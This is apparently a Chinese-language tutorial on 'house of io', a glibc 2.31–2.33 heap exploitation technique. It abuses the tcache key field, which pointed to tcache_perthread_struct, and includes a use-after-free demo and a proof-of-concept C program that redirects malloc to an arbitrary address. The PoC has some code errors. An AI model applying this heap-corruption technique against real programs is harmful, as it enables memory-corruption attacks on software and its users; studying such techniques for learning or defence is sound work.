house of io
复制本地路径 | 在线编辑
一个短暂出现的攻击方式,在 glibc 的 2.31 到 2.33 中可以,算是对 tcache 中的 key 字段的一个考究。这是 key 字段的介绍文章。
背景知识: tcache_pthread_struct
如下是 tcache_pthread_struct 字段的介绍,相信对 tcache 有一定了解就应该熟悉,以下是我认为需要知道的:
- 只有一个
tcache_pthread_struct,这里的 TCACHE_MAX_BINS 就是 tcache 的各种大小块的总类型数目;所以其中的如entries[0]就表示 0x20 大小的链表头部。 - TLS 中只存储一个指向
tcache_pthread_struct指针,而这个结构体具体的内容则是存在 heap 空间中。
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;
} tcache_entry;
typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
攻击细节
在 glibc2.31 到 glibc2.33 中,key 字段居然就是用 &thread_pthread_struct 来表示的。所以如果我们知道 key 字段,其实就是知道 thread_pthread_struct 在哪里。这就是 house of io 的核心思想。
Step 1
如下,就是模拟的一种 Use after free,在程序中 free(ptr) 只会释放 ptr 指向的那个空间,这个空间会被放到 tcache 中,并且填入 next 和 key 字段。
struct overlay {
uint64_t *a;
uint64_t *b;
};
int main() {
struct overlay *ptr = malloc(sizeof(struct overlay));
ptr->a = malloc(0x10);
ptr->b = malloc(0x10);
free(ptr);
}
即 free 前:
chunk #1 (ptr):
+------------------+
| a = 0x5555... |
| b = 0x6666... |
+------------------+
而 free 后:
chunk #1 (in tcache):
+------------------+
| next (encoded) | ← 覆盖原来的 ptr->a
| key = &tcache | ← 覆盖原来的 ptr->b
+------------------+
Step 2
如前所述,在 glibc2.31-2.33 中,key 字段就是指向 &thread_pthread_struct,由于上面那个程序我们能控制 ptr->b,那完蛋我们可以控制 tcache 了...
此时的 ptr 内存如下,其中 ptr->a 被覆盖成了 0x0(这个是 glibc2.31 版本,还没有 safe-linking),而 ptr->b 被覆盖成了某个地址。
0x5555555592a0: 0x0000000000000000 0x0000555555559010
0x5555555592b0: 0x0000000000000000 0x0000000000000021
0x5555555592c0: 0x0000000000000000 0x0000000000000000
这个 0x...9010 地址就是 tcache_pthread_struct,比如下面就是我们篡改了内容:

Step 3
然后我们就可以随心所欲的控制了:
unsigned long victim = 1;
typedef struct overlay {
uint64_t *a;
uint64_t *b;
};
int main()
{
struct hi *ptr = malloc(sizeof(ptr));
ptr->a = malloc(10);
ptr->b = malloc(10);
free(ptr);
// set count == 2
uint64_t *a = ptr->b;
*a = 2;
// set entry address
long int *z = (char *)a + 0x80;
*z = &victim;
// get victim
b = malloc(0x15);
*b = 2;
printf("%d\n", victim);
return 0;
}
终章
后来就如现在的样子,key 字段用到了 tcache_key,这是一个线程启动后生成的随机数,而不再是 &thread_perthread_struct。